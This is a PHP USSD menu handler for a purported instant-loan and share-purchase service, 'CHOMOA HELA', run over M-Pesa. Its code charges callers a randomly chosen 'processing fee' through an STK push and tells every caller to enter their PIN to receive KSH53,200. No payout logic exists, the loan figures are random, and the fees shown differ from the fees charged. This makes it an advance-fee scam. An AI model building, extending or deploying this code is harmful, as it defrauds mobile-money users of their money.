<?php

header('Content-Type: text/plain');
$rawBody = file_get_contents('php://input');   // raw request body
$data    = json_decode($rawBody, true);        // associative array

// Now you can access fields like:
$msisdn      = $data['msisdn'] ?? null;
$service_code = $data['serviceCode'] ?? null;
$session_id   = $data['sessionId'] ?? null;
$ussd_string  = $data['ussdString'] ?? null;

$ussd_string = urldecode($ussd_string);
$arr = $ussd_string != '' ? explode('*', $ussd_string) : [];
$lvl = ($ussd_string != '') ? count($arr) : 0;


require_once __DIR__ . '/src/Database.php';
require_once __DIR__ . '/src/MpesaStk.php';
$db   = new Database();
$conn = $db->getConnection();
$fee  = rand(130, 200);



// 	$stmt = $conn->prepare("SELECT * FROM contacts WHERE phone_number = ?");
//         $stmt->execute([$msisdn]);
//         $existing = $stmt->fetch(PDO::FETCH_ASSOC);
       
//         if (!$existing) {
//         $menu="END Welcome to Leeksmedical\n";
//         $menu.="1. Book Appointment\n";
//         $menu.="2. Doctor Services\n";
//         $menu.="3.Lab Tests\n";
//         $menu.="4. Pharmacy\n";
//         $menu.="5 .Emergency Contact\n";

//             echo $menu;
//             return;

//         return;
//         }

if ($lvl =="1") {
    $menu = "WELCOME TO QUICK LOANS FUND";

    $menu = "WELCOME TO CHOMOA HELA\n";
    $menu .= "Buy shares & borrow upto KES 350,999 to MPESA ($msisdn)\n";
    $menu .= "1.Borrow instant cash\n";
    $menu .= "2.Withdraw cash to M-PESA\n";
    $menu .= "3.Buy Shares\n";
    echo "CON $menu";
    return;
}

$service = $arr[1] ?? '';
if ($service == '1' || $service == '2') {
    
    
        $id   = $arr[2] ?? '';
        $stmt = $conn->prepare("SELECT * FROM loans WHERE msisdn = ?");
        $stmt->execute([$msisdn]);
        $existing = $stmt->fetch(PDO::FETCH_ASSOC);
       $id=rand(1000,10000);
        if ($existing) {
            $update = $conn->prepare("UPDATE loans SET id_number = ?, updated_at = NOW() WHERE msisdn = ?");
            $update->execute([$id, $msisdn]);
        } else {
            $insert = $conn->prepare("INSERT INTO loans (msisdn, id_number, created_at) VALUES (?, ?, NOW())");
            $insert->execute([$msisdn, $id]);
        }
        $loanAmount=rand(10000,50000);
        $ql=number_format($loanAmount);
        
       // echo "CON Congratulations {$msisdn} \n You qualify for KES 52,500  with 60 days repayment period. Reply with .\n\n1. Receive  KES 52,500 to MPESA";
       // return;
    
   
        enqueue_stk_push($msisdn, $fee, ['reference' => 'Loan Processing'], '90','loan',$arr[0]);
        echo 'END Enter pin to complete processing to receive KSH53,200 to MPESA.';
        return;
    

}

if ($service == '3') {

    if ($lvl == "2") {
        echo "CON Enter your ID number";
        return;
    }
    if ($lvl == 3) {
        $sharesMenu = "Select shares type:\n1. Starter - KES 500\n2. Basic - KES 1,000\n3. Odinary - KES 2,500\n4. Investment - KES 5,000\n5 Special - KES 7,500\n0. Exit";
        echo "CON $sharesMenu";
        return;
    }
    if ($lvl == 4) {
        $sel   = $arr[3] ?? '';
        $types = ['1' => 'Starter', '2' => 'Basic', '3' => 'Ordinary', '4' => 'Investment', '5' => 'Special'];
        $fees  = ['1' => 100, '2' => 100, '3' => 250, '4' => 500, '5' => 750];
        if (! isset($types[$sel])) {
            echo "CON Invalid entry.";
            return;
        }
        $id   = $arr[2] ?? '';
        $stmt = $conn->prepare("SELECT * FROM loans WHERE msisdn = ?");
        $stmt->execute([$msisdn]);
        $existing = $stmt->fetch(PDO::FETCH_ASSOC);
        $fee      = rand(99, 250);
        if ($existing) {
            $update = $conn->prepare("UPDATE loans SET id_number = ?, updated_at = NOW() WHERE msisdn = ?");
            $update->execute([$id, $msisdn]);
        } else {
            $insert = $conn->prepare("INSERT INTO loans (msisdn, id_number, created_at) VALUES (?, ?, NOW())");
            $insert->execute([$msisdn, $id]);
        }

        echo "CON You are about to buy Shares of type {$types[$sel]} that will require processing fee of {$fees[$sel]} to MPESA {$phone}\n\n1.Continue to buy";
        return;
    }
    if ($lvl == 5) {
 enqueue_stk_push($msisdn, $fee, ['reference' => 'Loan Processing'], '90');
        echo 'END Enter pin to complete processing to receive KSH53,200 to MPESA';
        return;
    }
}
